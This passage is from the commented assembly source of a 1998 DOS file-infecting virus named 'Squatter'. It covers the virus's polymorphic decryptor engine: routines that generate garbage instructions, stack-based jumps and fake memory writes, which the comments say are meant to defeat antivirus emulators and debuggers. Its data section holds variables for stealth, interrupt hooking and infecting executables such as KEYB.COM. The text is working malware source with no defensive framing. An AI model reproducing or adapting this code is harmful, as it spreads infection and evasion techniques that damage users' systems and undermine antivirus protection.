RET ; Return
@@Fin1: STOSB ; Store number in AL
RET ; Return
SaltoInicio ENDP
; Procedure to construct PUSH instructions to insert jump addresses, depending
; on the instruction to jump. If an IRET will be used, then it inserts in the
; decryptor a PUSHF, a PUSH Segment (PUSH CS if it's an EXE) and a PUSH
; Address, for example. For a RETF, it would only insert a PUSH Segment and
; a PUSH Address, etc. It won't be inserted all in once, but in every call
; to this function, it checks if any stack instruction must be inserted. Sin-
; ce this function is called at least three times, there is no error.
PonStack PROC
PUSH AX ; Save AX
CMP BYTE PTR [Estado-200h], 0 ; Check if there's any ins-
; truction to insert
JZ @@Fin ; If not, exit
CALL HazBasuraAleatoria ; Do garbage
CMP BYTE PTR [Estado-200h], 2 ;Check if number of instruc-
;tion is 2
JB @@PonIP ; If it's 1, put a PUSH Address
JZ @@PonCS ; If it's 2, put a PUSH Segment
; Number of instruction is 3, so put a PUSHF
@@PonFLAGS: MOV AL, 9Ch ; AL=opcode of "PUSHF"
JMP @@Sigue ; Continue
; Number of instruction is 2, so put a "PUSH Segment"
@@PonCS: CMP BYTE PTR [TipoEjec-200h], 0 ; Check if host is an EXE
JZ @@Salto ; If it's an EXE, insert a "PUSH CS"
MOV AL, 0Eh ; AL=opcode of "PUSH CS"
JMP @@Sigue ; Jump to insert it and exit
@@Salto: CALL Aleatorio ; Get a random number
AND AL, 18h ; Get a 0, 8, 10h or 18h
ADD AL, 06h ; Convert it to "PUSH Segment"
JMP @@Sigue ; Continue
; Number of instruction is 1, so put a "PUSH Address"
@@PonIP: MOV AL, 68h ; AL=opcode of "PUSH xxxx"
STOSB ; Store it
MOV AX, [InicioVirus-200h+1+16h] ;Get initial address of
; the decrypted virus body
CALL MiraSiPrimerDes ; Check if we are in the first de-
; cryptor
JZ @@SKKKKJ ; If we are in the second, insert
; address
ADD AX, LongVirus ;Calculate address of second decryp.
@@SKKKKJ: STOSW ; Store got address in AX
JMP @@Fin1 ; Jump and return
@@Sigue: STOSB ; Store byte
@@Fin1: DEC BYTE PTR [Estado-200h] ;Decrease number of instruction
@@Fin: POP AX ; Restore AX
RET ; Return
PonStack ENDP
;; It only returns Zero Flag if we are in the second decryptor. It saves some
;; bytes, because this instruction is quite long
MiraSiPrimerDes PROC
CMP WORD PTR [LongDesencrip-200h], 0 ; Check if second de-
RET ; cryptor and return
MiraSiPrimerDes ENDP
;;; MEMORY WRITES
;; This is one of the nicest routines in this engine. It is capable of insert
;; a direct indexed memory write/modification. Moreover, this writes are done
;; to the virus body, so it can fool an emulator or a debugger in a cool
;; manner :)
MeteEscritura PROC
CMP BYTE PTR [DI-01], 66h ; Eliminate 32 bits opcode if
JNZ @@Sigue6 ; there are any
DEC DI
@@Sigue6: CMP BYTE PTR [TipoEjec-200h], 1 ; Check if host is an EXE
JZ @@EsEXE ; If it's an EXE, jump and
; insert only a "CS:"
@@EsCOM: CALL Aleatorio ; Get a random number
AND AL, 18h ; Make a "CS:", "ES:" or "SS:".
CMP AL, 18h ; If a "DS:" is going to be sto-
JNZ @@Sigue7 ; red, it has a random 50% of
CALL SioNo ; probability to insert it
JZ @@Sigue2
@@Sigue7: ADD AL, 26h
db 3dh ;JMP @@Sigue1
@@EsEXE: MOV AL, 2Eh
@@Sigue1: STOSB ; Store segment opcode
@@Sigue2: CALL MiraSiPrimerDes ; Check if second decryptor
JZ @@Sigue8 ; If second decryptor, avoid in-
; dexed writes
MOV BX, Offset RegistrosUsados-200h
; CMP BYTE PTR [BX+3], 0
; JZ @@OtraVez
CMP BYTE PTR [BX+6], 0
JZ @@OtraVez
CMP BYTE PTR [BX+7], 0
JNZ @@Sigue8
@@OtraVez: CALL Aleatorio ; Get a random number in AX be-
AND AX, 0001 ; tween 0 and 1
ADD AX, 0006
MOV BX, Offset RegistrosUsados-200h
ADD BX, AX ; Put it on BX
; Get a random not-used
CMP BYTE PTR [BX], 0 ; register from this set of
JNZ @@OtraVez ; index registers
MOV DL, AL ; Put register in DL
MOV BX, Offset TablaIndices-200h ; Translate it to index
XLAT ; codification
AND AL, 07h ; Set word-adding-to-index on
OR AL, 80h
MOV CL, AL ; Put the opcode in CL
xor si, si
CALL SioNo
jz @@NoReg
call SioNo
jz @@Aqui2
call SioNo
jz @@CoproStatus ; Insert a copro memory write
@@Aqui2: CALL Aleatorio ; Get a random number in AX
AND AX, 3839h ; Get a random register in AH, and a
; random operation in AL (byte or word
; operation randomly, too)
@@Aqui: OR AH, CL ; Put index in second opcode
STOSW ; Store instruction
MOVZX BX, DL ; Put register in BX
ROL BX, 1 ; Get address of initial execution va-
ADD BX, Offset InicValoresCOM-200h ; lue in BX
CMP BYTE PTR [TipoEjec-200h], 1 ; If host is a COM, jump
JNZ @@Sigue10
ADD BX, 0010h ; Get address of EXE initial register
; values
@@Sigue10: MOV DX, [BX] ; Get initial value in DX
PUSH DX ; Save it onto stack
CALL ObtenDireccionEscrit ; Get a write direction in AX
POP DX ; Restore DX
SUB AX, DX ; Calculate adding for the index in
STOSW ; the instruction and complete it
or si, si
jz @@Ret
call Aleatorio
test si, 1
jnz @@ValorWord
@@ValorByte: STOSB
@@Ret: RET
@@NoReg: call Aleatorio
and ax, 3801h
add al, 80h
or si, ax
jmp @@Aqui
@@CoproStatus: mov ax, 38d9h ; Insert copro memory writes
call SioNo
jz @@Aqui
add al, 4h
jmp @@Aqui
;; Here a normal direct-address memory write is inserted
@@Sigue8: CALL Aleatorio ; Get a random operation with a random
AND AX, 3839h ; 8/16 bits register
ADD AH, 06h ; Set "direct address" on
STOSW ; Store instruction
CALL ObtenDireccionEscrit ; Get a memory address for write
@@ValorWord: STOSW ; Store it for completing instruction
RET ; Return
MeteEscritura ENDP
;; Routine to get a secure address for writing. All got addresses points to
;; the virus body, so it would seem modifications to decrypted variables. But
;; the value of this zones doesn't affect to the virus operations once decryp-
;; ted, so it can fool emulators and debuggers. Deal with it, AVers! :)
ObtenDireccionEscrit PROC
@@Sigue3: CALL Aleatorio ; Get a random number between 0 and 16h
AND AX, 001Fh
CMP AX, 0017h
JAE @@Sigue3
MOV BX, 0003 ; Get address where data is stored
MUL BX
MOV BX, AX
ADD BX, Offset Escritura-200h
MOV CL, [BX] ; Get this number, which means the quantity
INC CL ; that the index can vary from the address
; after. For example, if there is a 0, then
; the address must be as-is. But if there
; is a 2, then the address can be from
; Address+0 to Address+2 randomly
XOR DX, DX ; Set high-word of division to 0
CALL Aleatorio ; Get a random number
XOR CH, CH ; CX=CL
DIV CX ; Get a random number between 0 and CL-1
MOV AX, DX ; Put the remainder (what we want) in AX
ADD AX, [BX+01] ; Add address where writing is safe
@@Sigue5: ADD AX, [InicioVirus-200h+1+16h] ;Calculate address inside
; the virus body once in the
; host
RET ; Return
ObtenDireccionEscrit ENDP
;;; DATA SECTION
; Translation from register to index codification to make opcodes of memory
; operations
TablaIndices DB 0, 0, 0, 7, 0, 46h, 4, 5
; AX CX DX BX SP BP SI DI
; BP must have bits field (15,14) to non-zero because if not it's interpreted
; like a direct memory address operation (a number, not a register)
; Opcodes for the decryptor. They are opcodes for XOR, ADD, SUB and XOR, resp.
OpcodesCriptado DB 31h, 01h, 29h, 31h
;; Opcodes for checking the state of counter
; Check by operation: with opcode 81h/83h, they form: ADD, SUB, CMP, CMP
OpcodesComprueba DB 0C0h, 0E8h, 0F8h, 0F8h
; Check by logical operation: Opcodes of the instructions: OR, AND, TEST
OpcodesLogicos DB 09h, 21h, 85h
;; Interrupt numbers that can be safely used (if there isn't a debugger :) )
OpcodesInterrup DB 1Ch, 28h, 01h, 03h ; INT 1Ch, 28h, 01h and 03h
;; Opcodes of one-byte instructions that don't modify checking flags. They
;; are also the
normal one-byte instructions
BasuraNoBanderas DB 0F5h, 0F8h, 0F9h, 0FBh, 0FCh, 0FDh, 90h, 3Eh
; CMC, CLC, STC, STI, CLD, STD, NOP, DS:
;; One-byte instructions that modify AX (NOP is to fill)
ConAX DB 98h, 27h, 2Fh, 37h, 3Fh, 90h, 9Fh, 0D7h
; CBW, DAA, DAS, AAA, AAF, NOP, LAHF,XLAT
;; Conditional jump opcodes. First four are for decreasing counters, and next
;; four are for increasing ones.
Saltos DB 75h, 79h, 7Dh, 7Fh, 75h, 78h, 7Ch, 7Eh
; JNZ, JNS, JGE, JG, JNZ, JS, JL, JLE
Saltos2 db 72h, 78h
; JB, JS
;; Opcodes to use for garbage more-than-two-bytes instructions.
BasuraInstruc DB 02h, 0Ah, 12h, 1Ah, 22h, 2Ah, 32h, 3Ah, 84h, 8Ah
; ADD, OR, ADC, SBB, AND, SUB, XOR, CMP,TEST, MOV
;; Interrupt functions. They're in groups of two bytes. First byte is the
;; function to use, and next byte is the interruption to use. This functions
;; don't modify nothing but don't used registers. They can't be used, for
;; this reason, in the first decryptor, where the initial values of the regis-
;; ters are used.
FuncInterrup DB 00, 12h, 0Fh, 10h, 88h, 15h, 01h, 16h, 02h, 16h
DB 0Bh, 21h, 18h, 21h, 19h, 21h, 30h, 21h, 36h, 21h
DB 51h, 21h, 54h, 21h, 58h, 21h
;; Safe writting fields table. This is used in "ObtenDireccionEscrit"
Escritura DB 0Ah
DW Offset AntInt21h - 200h
DB 0
DW Offset SaltoCOM - 200h + 1
DB 0
DW Offset Basura1 - 200h
DB 0
DW Offset Basura2 - 200h
DB 0
DW Offset Basura3 - 200h
DB 0
DW Offset Basura4 - 200h
DB 0
DW Offset Basura5 - 200h
DB 0
DW Offset Basura6 - 200h
DB 0
DW Offset Basura7 - 200h
DB 0
DW Offset Basura8 - 200h
DB 0
DW Offset Basura9 - 200h
DB 0
DW Offset Basura10 - 200h
DB 0
DW Offset Basura11 - 200h
DB 0
DW Offset Basura12 - 200h
DB 0
DW Offset Basura13 - 200h
DB 0
DW Offset Basura14 - 200h
DB 0
DW Offset Basura15 - 200h
DB 0
DW Offset Basura16 - 200h
DB 0
DW Offset Basura17 - 200h
DB 8
DW Offset Atributos - 200h
DB 3
DW Offset BytesInt24h - 200h
DB 0
DW Offset ByteInt1Bh - 200h
DB 4
DW Offset WordAleatorio1 - 200h
Truco_Salto: PUSH DS ; DS,ES => STACK
PUSH ES
MOV AH, 30h ; Get DOS version / install-check
JMP Retorno_Truco
;; Virus arrives until here! Beyond this point the variables only exist in
;; memory, when it's installed.
DB 0
; DB 0
FinVirus LABEL WORD ;Mark of end of the spreading part of the virus
AntInt21h DW 2 DUP (0) ; Here real int 21h address is saved
Puntero2 DW 2 DUP (0) ; This is used in the trace routines
Puntero3 DW 2 DUP (0)
Ptr01 DD 0 ; Here we save the int 01h vector when we use it
; to trace, when int 30h trick fails
DirecDTA DW 2 DUP (0) ; To save DTA address
FakedHandle DW 0 ; To save faked handle, when we fake
; it
EstadoInt24h DB 0 ; To set on if there was a critic
; error
AntHandle DW 0 ; Exchange variable for the "Fake-
; Handle" routine
SumaNombre DB 0 ; Checksum of the name of the file
; infected before
NoStealth DB 0 ; If it's set, stealth doesn't work
; It's to avoid stealth when certain
; files are executed
PrimerByte DB 0 ; Set on if we are constructing the
; first instruction in one of the
; two decryptors in the poly engine
Cabecera DB 18h DUP (0) ;To save EXE header
Cabecera2 DB 18h DUP (0) ;To have a duplicate of EXE header
NombreFCB DB 0Ch DUP (0) ;To pass a FCB's file name to a
;handle-function type, to use han-
;dle virus' functions with FCBs
AntiEmulacion DB 0 ; To store the number of anti-emula-
; tion routine used in the first de-
; cryptor constructed by the poly
; engine, to not repeat the same in
; the second decryptor
NoBasura DB 0
NoPongasLOOP DB 0
RegistroEncriptado DB 0 ;To store the key register for decrypt
RegistroIndice DB 0 ;To store the index register
RegistroContador DB 0 ;To store the counter register
InicLoop DW 0 ;To store the address of start of decrypt
;loop
InicLoop2 DW 0
TipoDeDesencriptador DB 0
Temporal DW 0 ; To store address of jump instruction
; when constructing a random jump
TamanyoContador DW 0 ; Size of block for decrypt
SumaIndice DW 0 ; Quantity that must be added to index
; relatively in the instruction to point
; correctly to the beginning of the en-
; crypted block
WordEncriptado DW 0 ; Key of decryption
LongDesencrip DW 0 ; Size of the first decryptor that the
; poly engine builds
Estado DB 0 ; Multi-function variable :)
WordCambio DW 0 ; Quantity to be ADDed, SUBtracted or
; XORed to decryption key every loop
EstoyDentro DB 0 ; If it's set on, we're constructing the
; decryption loop (we're inside the loop)
Banderas DW 0 ; Flags of the built decryptor (normally
; in BP)
Desinfeccion DB 0 ; Counter to determine if we must disin-
; fect host, infect KEYB.COM or infect
; normally
InstalacionPoli DB 0 ; If it's 0, the random seed will be ini-
; tialize. If not, it won't :)
TamanyoBloque DB 0
Cantidad DB 0
SaltoLoopTipo0 DB 0
AntAleatorio DW 3 DUP (0) ; When the random seed is initiali-
; zed, the result is saved here, so every
; time we call to "HazVirus" to generate
; a new virus, the random seed is set
; with this values. In this manner the
; decryptor is always the same until you
; reboot the computer, otherwise you
; could change the decryptor setting a
; new date
LoopYaEsta DB 0 ; This variable is set when we finished
; constructing the decryption loop
NumeroCALLs db 0 ; Here we store the number of constructed
; CALLs in the decryptors
DirecCALLs dw 08h dup (0) ; Here the addresses where they
; are located.
NewVirus LABEL WORD ; Direction where the polimorphism engine
; will construct the virus
END Squatter ; Finish program
;; The Mental Driller, 18/12/1998 (when I finished comments! :) )